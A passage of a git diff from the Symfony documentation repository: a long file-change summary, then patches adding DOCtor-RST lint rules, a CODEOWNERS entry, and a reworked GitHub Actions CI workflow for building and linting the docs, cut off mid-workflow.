 .../cache/adapters/memcached_adapter.rst      |   12 -
 .../adapters/pdo_doctrine_dbal_adapter.rst    |    2 +-
 .../cache/adapters/php_files_adapter.rst      |    2 +-
 components/cache/adapters/redis_adapter.rst   |   32 +-
 components/cache/cache_invalidation.rst       |    2 +-
 components/console/events.rst                 |   71 +
 components/console/helpers/cursor.rst         |  104 +
 .../console/helpers/formatterhelper.rst       |   12 +-
 components/console/helpers/index.rst          |    3 +-
 components/console/helpers/map.rst.inc        |    1 +
 components/console/helpers/progressbar.rst    |    2 +-
 components/console/helpers/questionhelper.rst |   26 +-
 components/console/helpers/table.rst          |   10 +-
 components/css_selector.rst                   |    6 +-
 .../dependency_injection/compilation.rst      |    6 +-
 components/dependency_injection/workflow.rst  |    2 +-
 components/dom_crawler.rst                    |   28 +-
 components/event_dispatcher.rst               |    4 +-
 components/event_dispatcher/generic_event.rst |    2 +-
 components/expression_language/syntax.rst     |    2 -
 components/filesystem.rst                     |  236 +-
 components/finder.rst                         |   20 +-
 components/form.rst                           |   19 +-
 components/http_foundation.rst                |   72 +-
 .../http_foundation/session_configuration.rst |   54 +-
 components/http_foundation/sessions.rst       |   10 +
 components/http_kernel.rst                    |   21 +-
 components/index.rst                          |   16 -
 components/intl.rst                           |   92 +-
 components/ldap.rst                           |   16 +
 components/lock.rst                           |   72 +-
 components/messenger.rst                      |    2 +-
 components/mime.rst                           |    8 +-
 components/options_resolver.rst               |   70 +-
 components/phpunit_bridge.rst                 |   79 +-
 components/process.rst                        |   68 +-
 components/property_access.rst                |   59 +-
 components/runtime.rst                        |  500 +++
 components/security/authentication.rst        |  134 +-
 components/security/authorization.rst         |   92 +-
 components/semaphore.rst                      |    2 +-
 components/serializer.rst                     |  463 ++-
 components/string.rst                         |   29 +
 components/uid.rst                            |  330 +-
 components/validator/resources.rst            |   14 +-
 components/var_dumper/advanced.rst            |    8 +-
 components/var_exporter.rst                   |    4 +-
 components/workflow.rst                       |   18 +-
 components/yaml.rst                           |    7 +
 configuration.rst                             |  111 +-
 configuration/dot-env-changes.rst             |   10 +-
 configuration/env_var_processors.rst          |  232 +-
 .../front_controllers_and_kernel.rst          |   20 +-
 configuration/micro_kernel_trait.rst          |   15 +-
 configuration/multiple_kernels.rst            |   56 +-
 configuration/override_dir_structure.rst      |   83 +-
 configuration/secrets.rst                     |   46 +-
 configuration/using_parameters_in_dic.rst     |   10 +-
 console.rst                                   |   88 +-
 console/calling_commands.rst                  |   44 +-
 console/coloring.rst                          |   12 +-
 console/command_in_controller.rst             |   20 +-
 console/commands_as_services.rst              |    4 +-
 console/hide_commands.rst                     |    2 +-
 console/input.rst                             |   21 +-
 console/lockable_trait.rst                    |    4 +-
 console/style.rst                             |   37 +-
 console/verbosity.rst                         |    4 +-
 contributing/code/bc.rst                      |   19 +-
 contributing/code/conventions.rst             |  110 +-
 contributing/code/core_team.rst               |   50 +-
 contributing/code/license.rst                 |    2 +-
 contributing/code/pull_requests.rst           |  166 +-
 contributing/code/standards.rst               |    8 +-
 contributing/code_of_conduct/care_team.rst    |   28 +-
 contributing/community/releases.rst           |   34 +-
 contributing/documentation/overview.rst       |   22 +-
 contributing/index.rst                        |    1 +
 contributing/translations/index.rst           |  103 +
 controller.rst                                |   14 +-
 controller/argument_value_resolver.rst        |    2 +-
 controller/error_pages.rst                    |   21 +-
 controller/service.rst                        |   64 +-
 controller/soap_web_service.rst               |    8 +-
 controller/upload_file.rst                    |    4 +-
 create_framework/front_controller.rst         |   24 +-
 create_framework/http_foundation.rst          |   10 +-
 .../http_kernel_httpkernel_class.rst          |    2 +-
 .../http_kernel_httpkernelinterface.rst       |    4 +-
 create_framework/introduction.rst             |    6 +-
 create_framework/routing.rst                  |    8 +-
 create_framework/templating.rst               |    3 +-
 create_framework/unit_testing.rst             |   20 +-
 deployment.rst                                |   57 +-
 deployment/proxies.rst                        |  139 +-
 docs.json                                     |    3 -
 doctrine.rst                                  |  238 +-
 doctrine/associations.rst                     |  169 +-
 doctrine/custom_dql_functions.rst             |   57 +-
 doctrine/dbal.rst                             |   36 +-
 doctrine/events.rst                           |  128 +-
 doctrine/multiple_entity_managers.rst         |  148 +-
 doctrine/registration_form.rst                |    2 +-
 doctrine/resolve_target_entity.rst            |   19 +-
 doctrine/reverse_engineering.rst              |    5 +-
 email.rst                                     |  663 +---
 event_dispatcher.rst                          |   39 +-
 event_dispatcher/before_after_filters.rst     |    2 +-
 event_dispatcher/method_behavior.rst          |    4 +-
 form/bootstrap4.rst                           |   28 +-
 form/bootstrap5.rst                           |  265 ++
 form/create_custom_field_type.rst             |   55 +-
 form/create_form_type_extension.rst           |   18 +-
 form/data_based_validation.rst                |    6 +-
 form/data_mappers.rst                         |    8 +-
 form/data_transformers.rst                    |   44 +-
 form/direct_submit.rst                        |   25 +-
 form/disabling_validation.rst                 |    2 +-
 form/dynamic_form_modification.rst            |   59 +-
 form/embedded.rst                             |   10 +-
 form/events.rst                               |   26 +-
 form/form_collections.rst                     |  256 +-
 form/form_customization.rst                   |   11 +-
 form/form_themes.rst                          |   56 +-
 form/inherit_data_option.rst                  |   38 +-
 form/multiple_buttons.rst                     |    4 +-
 form/type_guesser.rst                         |   16 +-
 form/unit_testing.rst                         |   15 +-
 form/use_empty_data.rst                       |    6 +-
 form/validation_group_service_resolver.rst    |   12 +-
 form/validation_groups.rst                    |    2 +-
 form/without_class.rst                        |   45 +-
 forms.rst                                     |  216 +-
 frontend.rst                                  |    1 -
 frontend/custom_version_strategy.rst          |   13 +-
 frontend/encore/advanced-config.rst           |   25 +-
 frontend/encore/babel.rst                     |    2 +-
 frontend/encore/bootstrap.rst                 |   23 +-
 frontend/encore/cdn.rst                       |   20 +-
 frontend/encore/copy-files.rst                |   30 +-
 frontend/encore/custom-loaders-plugins.rst    |   13 +-
 frontend/encore/dev-server.rst                |  134 +-
 frontend/encore/faq.rst                       |   17 +-
 frontend/encore/installation.rst              |   19 +-
 frontend/encore/legacy-applications.rst       |   29 +-
 frontend/encore/postcss.rst                   |   57 +-
 frontend/encore/reactjs.rst                   |   15 +-
 frontend/encore/shared-entry.rst              |   42 -
 frontend/encore/simple-example.rst            |  146 +-
 frontend/encore/split-chunks.rst              |   35 +-
 frontend/encore/typescript.rst                |   31 +-
 frontend/encore/url-loader.rst                |   47 +-
 frontend/encore/versioning.rst                |   19 +-
 frontend/encore/virtual-machine.rst           |   49 +-
 frontend/encore/vuejs.rst                     |   34 +-
 http_cache.rst                                |   16 +-
 http_cache/esi.rst                            |   36 +-
 http_cache/expiration.rst                     |    2 +-
 http_cache/ssi.rst                            |   14 +-
 http_cache/validation.rst                     |    2 +-
 http_client.rst                               |  566 +++-
 introduction/from_flat_php_to_symfony.rst     |   19 +-
 lock.rst                                      |   78 +-
 logging.rst                                   |  146 +-
 logging/channels_handlers.rst                 |   51 +-
 logging/formatter.rst                         |   24 +-
 logging/handlers.rst                          |   17 +-
 logging/monolog_console.rst                   |   30 +-
 logging/monolog_email.rst                     |  159 +-
 logging/monolog_exclude_http_codes.rst        |   22 +-
 logging/monolog_regex_based_excludes.rst      |   78 -
 logging/processors.rst                        |   45 +-
 mailer.rst                                    |  436 ++-
 mercure.rst                                   |  520 +--
 messenger.rst                                 |  867 +++--
 messenger/custom-transport.rst                |   17 +-
 messenger/dispatch_after_current_bus.rst      |    2 +-
 messenger/handler_results.rst                 |    4 +-
 messenger/multiple_buses.rst                  |  138 +-
 migration.rst                                 |   17 +-
 notifier.rst                                  |  302 +-
 notifier/chatters.rst                         |  300 +-
 notifier/texters.rst                          |    3 +-
 page_creation.rst                             |   79 +-
 performance.rst                               |   34 +-
 profiler.rst                                  |    2 +-
 profiler/data_collector.rst                   |    3 +-
 quick_tour/flex_recipes.rst                   |   28 +-
 quick_tour/the_architecture.rst               |   35 +-
 quick_tour/the_big_picture.rst                |   44 +-
 rate_limiter.rst                              |  338 +-
 reference/configuration/debug.rst             |   14 +-
 reference/configuration/doctrine.rst          |   84 +-
 reference/configuration/framework.rst         | 1250 +++++---
 reference/configuration/kernel.rst            |   11 +-
 reference/configuration/security.rst          |  557 ++--
 reference/configuration/swiftmailer.rst       |  389 +--
 reference/configuration/twig.rst              |   59 +-
 reference/configuration/web_profiler.rst      |    6 -
 reference/constraints.rst                     |    1 +
 reference/constraints/All.rst                 |    3 -
 reference/constraints/AtLeastOneOf.rst        |   10 +-
 reference/constraints/Bic.rst                 |   35 +-
 reference/constraints/Blank.rst               |   16 +-
 reference/constraints/Callback.rst            |   39 +-
 reference/constraints/CardScheme.rst          |   30 +-
 reference/constraints/Choice.rst              |   92 +-
 reference/constraints/Cidr.rst                |  150 +
 reference/constraints/Collection.rst          |   41 +-
 reference/constraints/Compound.rst            |  117 +-
 reference/constraints/Count.rst               |   55 +-
 reference/constraints/Country.rst             |   17 +-
 reference/constraints/CssColor.rst            |  310 ++
 reference/constraints/Currency.rst            |   16 +-
 reference/constraints/Date.rst                |   16 +-
 reference/constraints/DateTime.rst            |   24 +-
 reference/constraints/DivisibleBy.rst         |   28 +-
 reference/constraints/Email.rst               |   63 +-
 reference/constraints/EqualTo.rst             |   23 +-
 reference/constraints/Expression.rst          |   63 +-
 .../constraints/ExpressionLanguageSyntax.rst  |   31 +-
 reference/constraints/File.rst                |  101 +-
 reference/constraints/GreaterThan.rst         |   62 +-
 reference/constraints/GreaterThanOrEqual.rst  |   62 +-
 reference/constraints/Hostname.rst            |   19 +-
 reference/constraints/Iban.rst                |   18 +-
 reference/constraints/IdenticalTo.rst         |   23 +-
 reference/constraints/Image.rst               |  171 +-
 reference/constraints/Ip.rst                  |   26 +-
 reference/constraints/IsFalse.rst             |   35 +-
 reference/constraints/IsNull.rst              |   16 +-
 reference/constraints/IsTrue.rst              |   25 +-
 reference/constraints/Isbn.rst                |   51 +-
 reference/constraints/Isin.rst                |   16 +-
 reference/constraints/Issn.rst                |   30 +-
 reference/constraints/Json.rst                |   21 +-
 reference/constraints/Language.rst            |   21 +-
 reference/constraints/Length.rst              |   62 +-
 reference/constraints/LessThan.rst            |   62 +-
 reference/constraints/LessThanOrEqual.rst     |   62 +-
 reference/constraints/Locale.rst              |   18 +-
 reference/constraints/Luhn.rst                |   16 +-
 reference/constraints/Negative.rst            |   20 +-
 reference/constraints/NegativeOrZero.rst      |   20 +-
 reference/constraints/NotBlank.rst            |   24 +-
 .../constraints/NotCompromisedPassword.rst    |   30 +-
 reference/constraints/NotEqualTo.rst          |   23 +-
 reference/constraints/NotIdenticalTo.rst      |   23 +-
 reference/constraints/NotNull.rst             |   16 +-
 reference/constraints/Positive.rst            |   20 +-
 reference/constraints/PositiveOrZero.rst      |   20 +-
 reference/constraints/Range.rst               |  114 +-
 reference/constraints/Regex.rst               |   83 +-
 reference/constraints/Sequentially.rst        |    7 +-
 reference/constraints/Time.rst                |   19 +-
 reference/constraints/Timezone.rst            |   35 +-
 reference/constraints/Traverse.rst            |   83 +-
 reference/constraints/Type.rst                |   58 +-
 reference/constraints/Ulid.rst                |   17 +-
 reference/constraints/Unique.rst              |   45 +-
 reference/constraints/UniqueEntity.rst        |   83 +-
 reference/constraints/Url.rst                 |   76 +-
 reference/constraints/UserPassword.rst        |   24 +-
 reference/constraints/Uuid.rst                |   21 +-
 reference/constraints/Valid.rst               |   59 +-
 .../constraints/_normalizer-option.rst.inc    |    4 +-
 .../_null-values-are-valid.rst.inc            |    6 +
 reference/constraints/map.rst.inc             |    2 +
 reference/dic_tags.rst                        |  130 +-
 reference/events.rst                          |   11 +-
 reference/forms/types.rst                     |    4 +
 reference/forms/types/birthday.rst            |   59 +-
 reference/forms/types/button.rst              |    9 -
 reference/forms/types/checkbox.rst            |   41 +-
 reference/forms/types/choice.rst              |   67 +-
 reference/forms/types/collection.rst          |   53 +-
 reference/forms/types/color.rst               |   50 +-
 reference/forms/types/country.rst             |   58 +-
 reference/forms/types/currency.rst            |   56 +-
 reference/forms/types/date.rst                |   59 +-
 reference/forms/types/dateinterval.rst        |   63 +-
 reference/forms/types/datetime.rst            |   68 +-
 reference/forms/types/email.rst               |   46 +-
 reference/forms/types/entity.rst              |   51 +-
 reference/forms/types/enum.rst                |  119 +
 reference/forms/types/file.rst                |   43 +-
 reference/forms/types/form.rst                |   68 +-
 reference/forms/types/hidden.rst              |   38 +-
 reference/forms/types/integer.rst             |   94 +-
 reference/forms/types/language.rst            |   63 +-
 reference/forms/types/locale.rst              |   57 +-
 reference/forms/types/map.rst.inc             |    7 +
 reference/forms/types/money.rst               |   56 +-
 reference/forms/types/number.rst              |   55 +-
 reference/forms/types/options/attr.rst.inc    |    2 +-
 .../forms/types/options/choice_attr.rst.inc   |   16 +-
 .../choice_translation_parameters.rst.inc     |   80 +
 .../options/empty_data_declaration.rst.inc    |    4 +
 ...rst.inc => empty_data_description.rst.inc} |   11 -
 .../forms/types/options/form_attr.rst.inc     |   20 +
 reference/forms/types/options/help.rst.inc    |   22 +-
 .../forms/types/options/help_html.rst.inc     |    2 +-
 reference/forms/types/options/label.rst.inc   |    4 +-
 .../forms/types/options/label_html.rst.inc    |    2 +-
 .../types/options/preferred_choices.rst.inc   |    2 +-
 .../forms/types/options/priority.rst.inc      |   16 +
 .../forms/types/options/row_attr.rst.inc      |    2 +-
 reference/forms/types/options/scale.rst.inc   |    9 -
 reference/forms/types/password.rst            |   46 +-
 reference/forms/types/percent.rst             |   55 +-
 reference/forms/types/radio.rst               |   45 +-
 reference/forms/types/range.rst               |   47 +-
 reference/forms/types/repeated.rst            |   43 +-
 reference/forms/types/reset.rst               |    8 -
 reference/forms/types/search.rst              |   45 +-
 reference/forms/types/submit.rst              |   12 -
 reference/forms/types/tel.rst                 |   46 +-
 reference/forms/types/text.rst                |   26 +-
 reference/forms/types/textarea.rst            |   23 +-
 reference/forms/types/time.rst                |   61 +-
 reference/forms/types/timezone.rst            |   58 +-
 reference/forms/types/ulid.rst                |   74 +
 reference/forms/types/url.rst                 |   48 +-
 reference/forms/types/uuid.rst                |   74 +
 reference/forms/types/week.rst                |   58 +-
 reference/twig_reference.rst                  |   27 +
 routing.rst                                   |  280 +-
 routing/custom_route_loader.rst               |    2 +-
 security.rst                                  | 2778 +++++++++++++----
 security/_supportsToken.rst.inc               |   10 -
 security/access_control.rst                   |  196 +-
 security/access_denied_handler.rst            |   48 +-
 security/acl.rst                              |   15 -
 security/auth_providers.rst                   |  241 --
 security/csrf.rst                             |   38 +-
 security/custom_authentication_provider.rst   |  653 ----
 security/custom_authenticator.rst             |  380 +++
 security/entry_point.rst                      |  174 ++
 security/experimental_authenticators.rst      |  504 ---
 security/expressions.rst                      |   37 +-
 security/firewall_restriction.rst             |   80 +-
 security/force_https.rst                      |   46 +-
 security/form_login.rst                       |  514 +--
 security/form_login_setup.rst                 |  518 ---
 security/guard_authentication.rst             |  582 ----
 security/impersonating_user.rst               |   75 +-
 security/json_login_setup.rst                 |  213 --
 security/ldap.rst                             |  117 +-
 security/login_link.rst                       |  270 +-
 security/multiple_guard_authenticators.rst    |  181 --
 security/named_encoders.rst                   |  195 --
 security/password_migration.rst               |  248 --
 security/passwords.rst                        |  782 +++++
 security/remember_me.rst                      |   73 +-
 security/reset_password.rst                   |   28 -
 security/securing_services.rst                |   53 -
 security/user_checkers.rst                    |   25 +-
 security/user_provider.rst                    |  533 ----
 security/user_providers.rst                   |  375 +++
 security/voters.rst                           |  118 +-
 serializer.rst                                |   53 +-
 serializer/custom_encoders.rst                |    2 +-
 serializer/custom_normalizer.rst              |   29 +
 serializer/normalizers.rst                    |   22 +-
 service_container.rst                         |   85 +-
 service_container/3.3-di-changes.rst          |  873 ------
 service_container/alias_private.rst           |    6 +-
 service_container/autowiring.rst              |   28 +-
 service_container/calls.rst                   |   35 +-
 service_container/compiler_passes.rst         |    4 +-
 service_container/configurators.rst           |    8 +-
 service_container/debug.rst                   |    4 +-
 service_container/definitions.rst             |    8 +-
 service_container/expression_language.rst     |    3 +-
 service_container/factories.rst               |   10 +-
 service_container/import.rst                  |    7 +-
 service_container/injection_types.rst         |    6 +-
 service_container/lazy_services.rst           |    7 +-
 service_container/optional_dependencies.rst   |    2 +-
 service_container/parent_services.rst         |    2 +-
 .../service_subscribers_locators.rst          |  106 +-
 service_container/synthetic_services.rst      |    2 +-
 service_container/tags.rst                    |   45 +-
 session.rst                                   |  141 +-
 session/database.rst                          |  102 +-
 session/locale_sticky_session.rst             |   13 +-
 session/php_bridge.rst                        |   34 +-
 session/proxy_examples.rst                    |   13 +-
 setup.rst                                     |   89 +-
 setup/_vendor_deps.rst.inc                    |   59 -
 setup/docker.rst                              |   56 +
 setup/flex.rst                                |   51 +-
 setup/flex_private_recipes.rst                |  221 ++
 setup/homestead.rst                           |    4 +-
 setup/symfony_server.rst                      |   41 +-
 setup/unstable_versions.rst                   |   22 +-
 setup/upgrade_major.rst                       |  197 +-
 setup/upgrade_minor.rst                       |   34 +-
 setup/web_server_configuration.rst            |   12 +-
 templates.rst                                 |  106 +-
 templating/global_variables.rst               |   25 +-
 templating/hinclude.rst                       |   14 +-
 testing.rst                                   | 1500 ++++-----
 testing/bootstrap.rst                         |    4 +-
 testing/database.rst                          |  124 +-
 testing/dom_crawler.rst                       |   94 +
 testing/functional_tests_assertions.rst       |  118 -
 testing/profiling.rst                         |   16 +-
 translation.rst                               |  346 +-
 translation/debug.rst                         |   12 +-
 translation/lint.rst                          |   15 +
 translation/locale.rst                        |   10 +-
 translation/message_format.rst                |   51 +-
 translation/templates.rst                     |   89 -
 translation/xliff.rst                         |    2 +-
 validation.rst                                |  204 +-
 validation/custom_constraint.rst              |  118 +-
 validation/groups.rst                         |   23 +-
 validation/raw_values.rst                     |   11 +-
 validation/sequence_provider.rst              |   65 +-
 validation/severity.rst                       |   21 +-
 validation/translations.rst                   |   38 +-
 web_link.rst                                  |   10 +-
 workflow.rst                                  |  292 +-
 workflow/dumping-workflows.rst                |  152 +-
 workflow/workflow-and-state-machine.rst       |  108 +-
 493 files changed, 22850 insertions(+), 18006 deletions(-)
 delete mode 100644 .symfony.cloud.yaml
 delete mode 100644 .symfony/routes.yaml
 delete mode 100644 .symfony/services.yaml
 delete mode 100644 Dockerfile
 delete mode 100644 _build/.requirements.txt
 delete mode 100644 _build/Makefile
 delete mode 100644 _build/_exts/symfonycom/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/__init__.py
 delete mode 100644 _build/_exts/symfonycom/sphinx/lexer.py
 delete mode 100644 _build/_static/rtd_custom.css
 delete mode 100644 _build/_static/symfony-logo.svg
 delete mode 100644 _build/conf.py
 delete mode 100644 _build/make.bat
 create mode 100644 _images/components/console/cursor.gif
 delete mode 100644 _images/components/form/general_flow.png
 delete mode 100644 _images/components/form/set_data_flow.png
 delete mode 100644 _images/components/form/submission_flow.png
 create mode 100644 _images/components/workflow/blogpost_mermaid.png
 delete mode 100644 _images/docs-pull-request-change-base.png
 create mode 100644 _images/form/form_prepopulation_workflow.svg
 create mode 100644 _images/form/form_submission_workflow.svg
 create mode 100644 _images/form/form_workflow.svg
 create mode 100644 _images/notifier/microsoft_teams/message-card.png
 create mode 100644 _images/notifier/microsoft_teams/message.png
 create mode 100644 _images/notifier/slack/field-method.png
 create mode 100644 _images/notifier/slack/message-reply.png
 create mode 100644 _images/notifier/slack/slack-footer.png
 create mode 100644 _images/notifier/slack/slack-header.png
 create mode 100644 _images/rate_limiter/fixed_window.svg
 create mode 100644 _images/rate_limiter/sliding_window.svg
 create mode 100644 _images/rate_limiter/token_bucket.svg
 create mode 100644 _images/security/security_events.svg
 create mode 100644 _images/sources/form/form_events.dia
 create mode 100644 _images/sources/rate_limiter/fixed_window.dia
 create mode 100644 _images/sources/rate_limiter/sliding_window.dia
 create mode 100644 _images/sources/rate_limiter/token_bucket.dia
 create mode 100644 _images/sources/security/security_events.dia
 delete mode 100644 _includes/service_container/_my_mailer.rst.inc
 create mode 100644 components/cache/adapters/couchbasecollection_adapter.rst
 create mode 100644 components/console/helpers/cursor.rst
 delete mode 100644 components/index.rst
 create mode 100644 components/runtime.rst
 create mode 100644 contributing/translations/index.rst
 delete mode 100644 docs.json
 create mode 100644 form/bootstrap5.rst
 delete mode 100644 frontend/encore/shared-entry.rst
 delete mode 100644 logging/monolog_regex_based_excludes.rst
 create mode 100644 reference/constraints/Cidr.rst
 create mode 100644 reference/constraints/CssColor.rst
 create mode 100644 reference/constraints/_null-values-are-valid.rst.inc
 create mode 100644 reference/forms/types/enum.rst
 create mode 100644 reference/forms/types/options/choice_translation_parameters.rst.inc
 create mode 100644 reference/forms/types/options/empty_data_declaration.rst.inc
 rename reference/forms/types/options/{empty_data.rst.inc => empty_data_description.rst.inc} (84%)
 create mode 100644 reference/forms/types/options/form_attr.rst.inc
 create mode 100644 reference/forms/types/options/priority.rst.inc
 delete mode 100644 reference/forms/types/options/scale.rst.inc
 create mode 100644 reference/forms/types/ulid.rst
 create mode 100644 reference/forms/types/uuid.rst
 delete mode 100644 security/_supportsToken.rst.inc
 delete mode 100644 security/acl.rst
 delete mode 100644 security/auth_providers.rst
 delete mode 100644 security/custom_authentication_provider.rst
 create mode 100644 security/custom_authenticator.rst
 create mode 100644 security/entry_point.rst
 delete mode 100644 security/experimental_authenticators.rst
 delete mode 100644 security/form_login_setup.rst
 delete mode 100644 security/guard_authentication.rst
 delete mode 100644 security/json_login_setup.rst
 delete mode 100644 security/multiple_guard_authenticators.rst
 delete mode 100644 security/named_encoders.rst
 delete mode 100644 security/password_migration.rst
 create mode 100644 security/passwords.rst
 delete mode 100644 security/reset_password.rst
 delete mode 100644 security/securing_services.rst
 delete mode 100644 security/user_provider.rst
 create mode 100644 security/user_providers.rst
 delete mode 100644 service_container/3.3-di-changes.rst
 delete mode 100644 setup/_vendor_deps.rst.inc
 create mode 100644 setup/docker.rst
 create mode 100644 setup/flex_private_recipes.rst
 create mode 100644 testing/dom_crawler.rst
 delete mode 100644 testing/functional_tests_assertions.rst
 delete mode 100644 translation/templates.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9eb5ffca34c..70b646e146a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,11 +1,14 @@
 rules:
     american_english: ~
     avoid_repetetive_words: ~
+    blank_line_after_anchor: ~
     blank_line_after_directive: ~
     blank_line_before_directive: ~
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
@@ -13,6 +16,7 @@ rules:
     lowercase_as_in_use_statements: ~
     max_blank_lines:
         max: 2
+    max_colons: ~
     no_app_console: ~
     no_blank_line_after_filepath_in_php_code_block: ~
     no_blank_line_after_filepath_in_twig_code_block: ~
@@ -20,6 +24,7 @@ rules:
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
     no_composer_req: ~
+    no_directive_after_shorthand: ~
     no_explicit_use_of_code_block_php: ~
     no_inheritdoc: ~
     no_namespace_after_use_statements: ~
@@ -34,6 +39,7 @@ rules:
     short_array_syntax: ~
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
+    string_replacement: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
@@ -65,6 +71,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - '/rst-class/'
+        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
@@ -73,7 +80,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 0.21.0' # Encore
+        - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
@@ -83,6 +90,7 @@ whitelist:
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.0.0' # Encore
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
@@ -95,3 +103,8 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '// bin/console'
+        - 'End to End Tests (E2E)'
+        - '.. code-block:: php'
+        - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
+        - '..  End to End Tests (E2E)'
diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 51ce53a1a89..9eb5d91783b 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -1,3 +1,6 @@
+# GithubActions workflows
+/.github/workflows* @OskarStark
+
 # Console
 /console* @chalasr
 /components/console* @chalasr
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index dd7599889d0..6c10a4eaf9b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -1,3 +1,5 @@
+name: CI
+
 on:
     push:
         branches-ignore:
@@ -6,83 +8,51 @@ on:
         branches-ignore:
             - 'github-comments'
 
-name: CI
-
 jobs:
-    build:
-        name: Build
+    symfony-docs-builder-build:
+        name: Build (symfony-tools/docs-builder)
 
         runs-on: ubuntu-latest
 
+        continue-on-error: true
+
         steps:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
-            -   name: "Set up Python 3.7"
-                uses: actions/setup-python@v1
+            -   name: "Set-up PHP"
+                uses: shivammathur/setup-php@v2
                 with:
-                    python-version: '3.7' # Semantic version range syntax or exact version of a Python version
-
-            -   name: "Display Python version"
-                run: python -c "import sys; print(sys.version)"
+                    php-version: 8.0
+                    coverage: none
+                    tools: "composer:v2"
 
-            -   name: "Install Sphinx dependencies"
-                run: sudo apt-get install python-dev build-essential
+            -   name: Get composer cache directory
+                id: composercache
+                working-directory: _build
+                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
-            -   name: "Cache pip"
+            -   name: Cache dependencies
                 uses: actions/cache@v2
                 with:
-                    path: ~/.cache/pip
-                    key: ${{ runner.os }}-pip-${{ hashFiles('_build/.requirements.txt') }}
-                    restore-keys: |
-                        ${{ runner.os }}-pip-
+                    path: ${{ steps.composercache.outputs.dir }}
+                    key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                    restore-keys: ${{ runner.os }}-composer-
 
-            -   name: "Install Sphinx + requirements via pip"
-                run: pip install -r _build/.requirements.txt
+            -   name: "Install dependencies"
+                working-directory: _build
+                run: composer install --prefer-dist --no-progress
 
-            -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS="-nqW -j auto" html
+            -   name: "Build the docs"
+                working-directory: _build
+                run: php build.php -vvv
 
-    build-php:
-        name: Symfony doc builder
-
-        runs-on: ubuntu-latest
-
-        continue-on-error: true
-
-        steps:
-            - name: "Checkout"
-              uses: actions/checkout@v2
-
-            - name: "Set-up PHP"
-              uses: shivammathur/setup-php@v2
-              with:
-                  php-version: 7.2
-                  coverage: none
-                  tools: "composer:v2"
-
-            - name: Get composer cache directory
-              id: composercache
-              working-directory: _build
-              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-            - name: Cache dependencies
-              uses: actions/cache@v2
-              with:
-                  path: ${{ steps.composercache.outputs.dir }}
-                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                  restore-keys: ${{ runner.os }}-composer-
-
-            - name: "Install dependencies"
-              working-directory: _build
-              run: composer install --prefer-dist --no-progress
-
-            - name: "Build the docs"
-              working-directory: _build
-              run: php build.php -vvv
+            -   name: Show log file
+                if: ${{ always() }}
+                run: cat _build/logs.txt || true
 
     doctor-rst:
-        name: DOCtor-RST
+        name: Lint (DOCtor-RST)
 
         runs-on: ubuntu-latest
 
@@ -98,7 +68,7 @@ jobs:
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
-                uses: actions/cache@v1
+                uses: actions/cache@v2
                 with:
                     path: .cache
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
@@ -107,3 +77,68 @@ jobs:
                 uses: docker://oskarstark/doctor-rst
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
+
+    symfony-code-block-checker:
+        name: Code Blocks
+        runs-on: Ubuntu-20.04
+        continue-on-error: true
+        steps:
+          - name: Checkout code
+            uses: actions/checkout@v2
+            with:
+                path: 'docs'
+
+          - name: Set-up PHP
+            uses: shivammathur/setup-php@v2
+            with:
+                php-version: 8.0
+                coverage: none
+
+          - name: Fetch branch from where the PR started
+            working-directory: docs
+            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+          - name: Find modified files
+            id: find-files
+            working-directory: docs
+            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+          - name: Get composer cache directory
+            id: composercache
+            working-directory: docs/_build
+            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+          - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            uses: actions/cache@v2
+            with:
